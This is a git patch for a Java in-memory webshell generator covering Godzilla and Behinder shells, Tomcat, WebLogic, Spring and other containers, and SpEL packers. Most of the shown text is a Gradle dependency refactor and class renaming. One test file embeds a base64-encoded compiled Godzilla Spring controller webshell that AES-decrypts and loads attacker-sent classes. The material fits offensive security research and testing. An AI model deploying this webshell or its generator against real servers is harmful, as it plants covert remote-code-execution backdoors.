From 988d7511299feb4da9a2d1118dea3f111cd388db Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 25 Jan 2025 20:29:24 +0800 Subject: [PATCH] refactor: use platform to manage dependency 1. rename Packer.INSTANCE 2. gradle platform is a good thing (resolved #31) --- behinder/build.gradle | 32 ------ bom/build.gradle | 37 +++++++ boot/build.gradle | 2 +- .../boot/controller/ConfigController.java | 4 +- .../boot/controller/GeneratorController.java | 6 +- .../javaweb/boot/dto/GenerateRequest.java | 4 +- build.gradle | 14 ++- common/build.gradle | 17 ++-- .../reajason/javaweb/util/ClassUtilsTest.java | 1 - deserialize/build.gradle | 6 +- generator/build.gradle | 40 ++++---- .../com/reajason/javaweb/GeneratorMain.java | 6 +- .../javaweb/memshell/packer/Packer.java | 77 ++------------- .../javaweb/memshell/packer/Packers.java | 69 +++++++++++++ .../javaweb/memshell/packer/SpELPacker.java | 31 ------ .../packer/SpELScriptEnginePacker.java | 18 ++++ .../packer/SpELSpringIOUtilsGzipPacker.java | 21 ++++ .../memshell/packer/SpELSpringUtilPacker.java | 17 ++++ integration-test/build.gradle | 41 ++++---- .../integration/ShellAssertionTool.java | 16 +-- .../glassfish/GlassFish3ContainerTest.java | 48 ++++----- .../glassfish/GlassFish4ContainerTest.java | 52 +++++----- .../glassfish/GlassFish501ContainerTest.java | 52 +++++----- .../glassfish/GlassFish510ContainerTest.java | 64 ++++++------ .../glassfish/GlassFish6ContainerTest.java | 52 +++++----- .../glassfish/GlassFish7ContainerTest.java | 34 +++---- .../jbossas/Jboss423ContainerTest.java | 52 +++++----- .../jbossas/Jboss510ContainerTest.java | 37 ++++--- .../jbossas/Jboss610ContainerTest.java | 53 +++++----- .../jbossas/Jboss711ContainerTest.java | 35 ++++--- .../jbosseap/JbossEap6ContainerTest.java | 35 ++++--- .../jbosseap/JbossEap7ContainerTest.java | 46 ++++----- .../jetty/Jetty10ContainerTest.java | 46 ++++----- .../jetty/Jetty11ContainerTest.java | 46 ++++----- .../jetty/Jetty61ContainerTest.java | 40 ++++---- .../jetty/Jetty76ContainerTest.java | 46 ++++----- .../jetty/Jetty81ContainerTest.java | 46 ++++----- .../jetty/Jetty92ContainerTest.java | 46 ++++----- .../jetty/Jetty93ContainerTest.java | 46 ++++----- .../jetty/Jetty94ContainerTest.java | 46 ++++----- .../payara/Payara5201ContainerTest.java | 59 ++++++----- .../payara/Payara520225ContainerTest.java | 40 ++++---- .../payara/Payara620222ContainerTest.java | 40 ++++---- .../resin/Resin3116ContainerTest.java | 46 ++++----- .../resin/Resin318ContainerTest.java | 46 ++++----- .../resin/Resin4058ContainerTest.java | 46 ++++----- .../resin/Resin4067ContainerTest.java | 46 ++++----- .../springmvc/SpringBoot2ContainerTest.java | 46 ++++----- .../SpringBoot2WarContainerTest.java | 40 ++++---- .../springmvc/SpringBoot3ContainerTest.java | 22 ++--- .../SpringBoot2WebFluxContainerTest.java | 20 ++-- .../SpringBoot3WebFluxContainerTest.java | 20 ++-- .../tomcat/Tomcat10ContainerTest.java | 64 ++++++------ .../tomcat/Tomcat11ContainerTest.java | 40 ++++---- .../tomcat/Tomcat11JRE21ContainerTest.java | 40 ++++---- .../tomcat/Tomcat5ContainerTest.java | 52 +++++----- .../tomcat/Tomcat6ContainerTest.java | 64 ++++++------ .../tomcat/Tomcat7ContainerTest.java | 64 ++++++------ .../tomcat/Tomcat8ContainerTest.java | 98 +++++++++---------- .../tomcat/Tomcat9ContainerTest.java | 64 ++++++------ .../weblogic/WebLogic1036ContainerTest.java | 24 ++--- .../weblogic/WebLogic12214ContainerTest.java | 28 +++--- .../weblogic/WebLogic14110ContainerTest.java | 28 +++--- .../websphere/WebSphere700ContainerTest.java | 28 +++--- .../websphere/WebSphere855ContainerTest.java | 28 +++--- .../websphere/WebSphere905ContainerTest.java | 28 +++--- .../wildfly/Wildfly18ContainerTest.java | 28 +++--- .../wildfly/Wildfly23ContainerTest.java | 28 +++--- .../wildfly/Wildfly30ContainerTest.java | 28 +++--- .../wildfly/Wildfly9ContainerTest.java | 46 ++++----- .../xxljob/XxlJob220ContainerTest.java | 8 +- .../xxljob/XxlJob230ContainerTest.java | 8 +- memshell-java8/build.gradle | 27 ++--- memshell/build.gradle | 10 +- settings.gradle | 16 +-- {godzilla => tools/behinder}/build.gradle | 15 +-- .../javaweb/behinder/BehinderManager.java | 0 .../com/reajason/javaweb/behinder/Utils.java | 0 .../javaweb/behinder/payloads/Test.java | 0 .../javaweb/behinder/BehinderManagerTest.java | 0 tools/build.gradle | 5 + tools/godzilla/build.gradle | 32 ++++++ .../javaweb/godzilla/GodzillaManager.java | 0 .../reajason/javaweb/godzilla/Payload.java | 0 .../resources/godzillaShellClassNames.txt | 0 .../javaweb/godzilla/GodzillaManagerTest.java | 0 vul/vul-springboot2/build.gradle | 1 + vul/vul-webapp-expression/build.gradle | 1 + web/src/i18n/translations.ts | 3 +- 89 files changed, 1411 insertions(+), 1347 deletions(-) delete mode 100644 behinder/build.gradle create mode 100644 bom/build.gradle create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java rename {godzilla => tools/behinder}/build.gradle (55%) rename {behinder => tools/behinder}/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java (100%) rename {behinder => tools/behinder}/src/main/java/com/reajason/javaweb/behinder/Utils.java (100%) rename {behinder => tools/behinder}/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java (100%) rename {behinder => tools/behinder}/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java (100%) create mode 100644 tools/build.gradle create mode 100644 tools/godzilla/build.gradle rename {godzilla => tools/godzilla}/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java (100%) rename {godzilla => tools/godzilla}/src/main/java/com/reajason/javaweb/godzilla/Payload.java (100%) rename {godzilla => tools/godzilla}/src/main/resources/godzillaShellClassNames.txt (100%) rename {godzilla => tools/godzilla}/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java (100%) diff --git a/behinder/build.gradle b/behinder/build.gradle deleted file mode 100644 index c9b862b6..00000000 --- a/behinder/build.gradle +++ /dev/null @@ -1,32 +0,0 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - -group = 'com.reajason.javaweb' -version = '' - -java { - toolchain { - languageVersion = JavaLanguageVersion.of(8) - } - sourceCompatibility = JavaVersion.VERSION_1_8 - targetCompatibility = JavaVersion.VERSION_1_8 -} - - -dependencies { - implementation project(":common") - implementation 'net.bytebuddy:byte-buddy:1.+' - implementation 'commons-io:commons-io:2.+' - implementation 'org.apache.commons:commons-lang3:3.+' - implementation 'commons-codec:commons-codec:1.+' - - implementation 'com.squareup.okhttp3:okhttp:4.+' - implementation 'com.alibaba.fastjson2:fastjson2:2.0.53' - testImplementation platform('org.junit:junit-bom:5.10.0') - testImplementation 'org.junit.jupiter:junit-jupiter' -} - -test { - useJUnitPlatform() -} \ No newline at end of file diff --git a/bom/build.gradle b/bom/build.gradle new file mode 100644 index 00000000..4cae5956 --- /dev/null +++ b/bom/build.gradle @@ -0,0 +1,37 @@ +plugins { + id 'java-platform' +} + +dependencies { + constraints { + api 'net.bytebuddy:byte-buddy:1.+' + + api 'javax.servlet:javax.servlet-api:3.0.1' + api 'jakarta.servlet:jakarta.servlet-api:6.0.0' + api 'javax.websocket:javax.websocket-api:1.1' + + api 'org.springframework:spring-webmvc:5.3.24' + api 'org.springframework:spring-webflux:5.3.24' + api 'io.projectreactor.netty:reactor-netty-core:1.1.25' + + api 'commons-io:commons-io:2.+' + api 'org.apache.commons:commons-lang3:3.+' + api 'commons-codec:commons-codec:1.+' + api 'ch.qos.logback:logback-classic:1.+' + + api 'xalan:xalan:2.7.0' + api 'org.apache.bcel:bcel:5.2' + + api 'org.java-websocket:Java-WebSocket:1.5.7' + api 'com.squareup.okhttp3:okhttp:4.+' + api 'com.alibaba.fastjson2:fastjson2:2.0.53' + + api 'org.jetbrains:annotations:26.0.1' + + api "org.mockito:mockito-core:5.+" + api 'org.hamcrest:hamcrest:3.0' + api 'org.junit:junit-bom:5.10.0' + api 'org.testcontainers:testcontainers:1.20.4' + api 'org.testcontainers:junit-jupiter:1.20.4' + } +} diff --git a/boot/build.gradle b/boot/build.gradle index 410da5d4..ca03362f 100644 --- a/boot/build.gradle +++ b/boot/build.gradle @@ -49,7 +49,7 @@ dependencies { implementation(project(":deserialize")) { exclude group: 'commons-logging', module: 'commons-logging' } - implementation 'org.apache.bcel:bcel:5.2' + implementation 'org.apache.bcel:bcel' implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' implementation('org.springframework.boot:spring-boot-starter-web') { exclude group:'org.springframework.boot', module:'spring-boot-starter-tomcat' diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index c0fb508d..c6690696 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.boot.entity.Config; import com.reajason.javaweb.memshell.AbstractShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; @@ -51,7 +51,7 @@ public class ConfigController { .collect(Collectors.toList()) ); config.setCore(coreMap); - config.setPackers(Arrays.stream(Packer.INSTANCE.values()).map(Packer.INSTANCE::name).toList()); + config.setPackers(Arrays.stream(Packers.values()).map(Packers::name).toList()); return ResponseEntity.ok(config); } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index aa45b2d8..4bb9e6aa 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -28,10 +28,10 @@ public class GeneratorController { InjectorConfig injectorConfig = request.getInjectorConfig(); GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); String packResult = null; - if (request.getPacker().getPacker() instanceof JarPacker) { - packResult = Base64.getEncoder().encodeToString(request.getPacker().getPacker().packBytes(generateResult)); + if (request.getPacker().getInstance() instanceof JarPacker) { + packResult = Base64.getEncoder().encodeToString(request.getPacker().getInstance().packBytes(generateResult)); } else { - packResult = request.getPacker().getPacker().pack(generateResult); + packResult = request.getPacker().getInstance().pack(generateResult); } return ResponseEntity.ok(new GenerateResponse(generateResult, packResult)); } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 8108e939..152bc8ae 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.boot.dto; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.Data; /** @@ -13,7 +13,7 @@ public class GenerateRequest { private ShellConfig shellConfig; private ShellToolConfigDTO shellToolConfig; private InjectorConfig injectorConfig; - private Packer.INSTANCE packer; + private Packers packer; @Data static class ShellToolConfigDTO { diff --git a/build.gradle b/build.gradle index 9c93b322..cd163701 100644 --- a/build.gradle +++ b/build.gradle @@ -1,7 +1,15 @@ allprojects { - apply(plugin: 'java') - apply(plugin: 'idea') - apply(plugin: 'jacoco') + if (it.name != 'bom') { + apply(plugin: 'java') + apply(plugin: 'idea') + apply(plugin: 'jacoco') + } + + if (it.name != 'bom' && !it.name.startsWith("vul")) { + dependencies { + implementation platform(project(':bom')) + } + } repositories { mavenCentral() diff --git a/common/build.gradle b/common/build.gradle index b929c889..ccf70751 100644 --- a/common/build.gradle +++ b/common/build.gradle @@ -6,23 +6,20 @@ group = 'com.reajason.javaweb' version = '' java { - toolchain { - languageVersion = JavaLanguageVersion.of(8) - } sourceCompatibility = JavaVersion.VERSION_1_8 targetCompatibility = JavaVersion.VERSION_1_8 } dependencies { - implementation 'net.bytebuddy:byte-buddy:1.+' - implementation 'commons-io:commons-io:2.+' - implementation 'org.apache.commons:commons-lang3:3.+' - implementation 'commons-codec:commons-codec:1.+' - implementation 'org.jetbrains:annotations:26.0.1' - testImplementation platform('org.junit:junit-bom:5.+') + implementation 'net.bytebuddy:byte-buddy' + implementation 'commons-io:commons-io' + implementation 'org.apache.commons:commons-lang3' + implementation 'commons-codec:commons-codec' + implementation 'org.jetbrains:annotations' + testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' testRuntimeOnly 'org.junit.platform:junit-platform-launcher' - testImplementation "org.mockito:mockito-core:5.+" + testImplementation "org.mockito:mockito-core" } test { diff --git a/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java index b9668717..391ce81b 100644 --- a/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java +++ b/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java @@ -20,5 +20,4 @@ class ClassUtilsTest { byte[] bytes = Base64.decodeBase64("yv66vgAAADQBMgoAUgCfCACgCQA7AKEIAKIJADsAowoAUgCkBwClCgAHAJ8JADsApgoABwCnCQA7AKgKAAcAqQoAOwCqCQA7AKsIAKwKAK0ArgoAJACvCgAkALAKAK0AsQcAsgoArQCzCgAUALQKABQAtQoAJAC2BwC3CAC4CgAhALkIALoKACEAuwoAvAC9CgAjAL4IAL8HAMAHAHUHAMEHAMIIAMMKACEAxAgAxQgAxggAxwgAyAgAyQoAUgDKCADLCgDMAM0HAM4KAC8AzwoAzADQCgDMANELANIA0woAJADUCwDSANULANIA1goAOwDXCgA7ANgIANkLANoA2wcA3AoAIQDdCgA7AKQKADsA3gsA2gDfCADgCwDSAN8HAOEKAEIAnwcA4gcA4wcA5AoARgDlCgAjAOYLAOcA6AoAJADpCgDqAOsKACMAqQoAQgDsCgA7AO0KACQA7ggAVggA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxvcmcvZXhhbXBsZS9zcHJpbmcvR29kemlsbGFDb250cm9sbGVySGFuZGxlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABnBhcmVudAEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcAwgcAtwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAZiYXNlNjQBABFMamF2YS9sYW5nL0NsYXNzOwEAB0VuY29kZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEABXZhbHVlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAKRXhjZXB0aW9ucwEACWI2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAVoHANwHAPIBAA1oYW5kbGVSZXF1ZXN0AQB/KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAAWYBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAARkYXRhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwcA8wcA9AcA9QcA4QcA9gcAwQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAHkdvZHppbGxhQ29udHJvbGxlckhhbmRsZXIuamF2YQwAWgBbAQAKVXNlci1BZ2VudAwAWABVAQAaU3ByaW5nX0dvZHppbGxhX0NvbnRyb2xsZXIMAFkAVQwAWgBhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAFYAVQwA9wD4DABXAFUMAPkA+gwAVABkDABUAFUBAANNRDUHAPsMAPwA/QwA/gD/DAEAAQEMAQIBAwEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAEEAP8MAFoBBQwA+QEGDAEHAPoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAwBCAEJAQAKZ2V0RW5jb2RlcgwBCgELBwEMDAENAQ4MAQ8BEAEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAERARIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBEwEUAQADQUVTBwDyDAD8ARUBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABaARYMARcBGAwBGQEaBwD0DAEbAGQMARwBHQwBHgEfDAEgAGQMAHoAewwAgACBAQAHcGF5bG9hZAcA8wwBIQEiAQAsb3JnL2V4YW1wbGUvc3ByaW5nL0dvZHppbGxhQ29udHJvbGxlckhhbmRsZXIMASMBJAwAfQB+DAElASYBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAFoBJwwBKAEpBwD1DAEqASsMASwBLQcBLgwBLwEwDAExAP8MAGwAbQwBLAEGAQAQM2M2ZTBiOGE5YzE1MjI0YQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEALm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL0NvbnRyb2xsZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEACWdldEhlYWRlcgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0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"); Files.write(Paths.get("xix.class"), bytes); } - } \ No newline at end of file diff --git a/deserialize/build.gradle b/deserialize/build.gradle index 361b1ced..498ce91d 100644 --- a/deserialize/build.gradle +++ b/deserialize/build.gradle @@ -5,9 +5,11 @@ plugins { group = 'com.reajason.javaweb' dependencies { - implementation 'net.bytebuddy:byte-buddy:1.+' + implementation 'net.bytebuddy:byte-buddy' + implementation 'commons-beanutils:commons-beanutils:1.9.3' - testImplementation platform('org.junit:junit-bom:5.+') + + testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' } diff --git a/generator/build.gradle b/generator/build.gradle index 9c160b1e..5fe44b66 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -43,29 +43,29 @@ dependencies { implementation project(":deserialize") implementation project(":memshell") implementation project(":memshell-java8") - 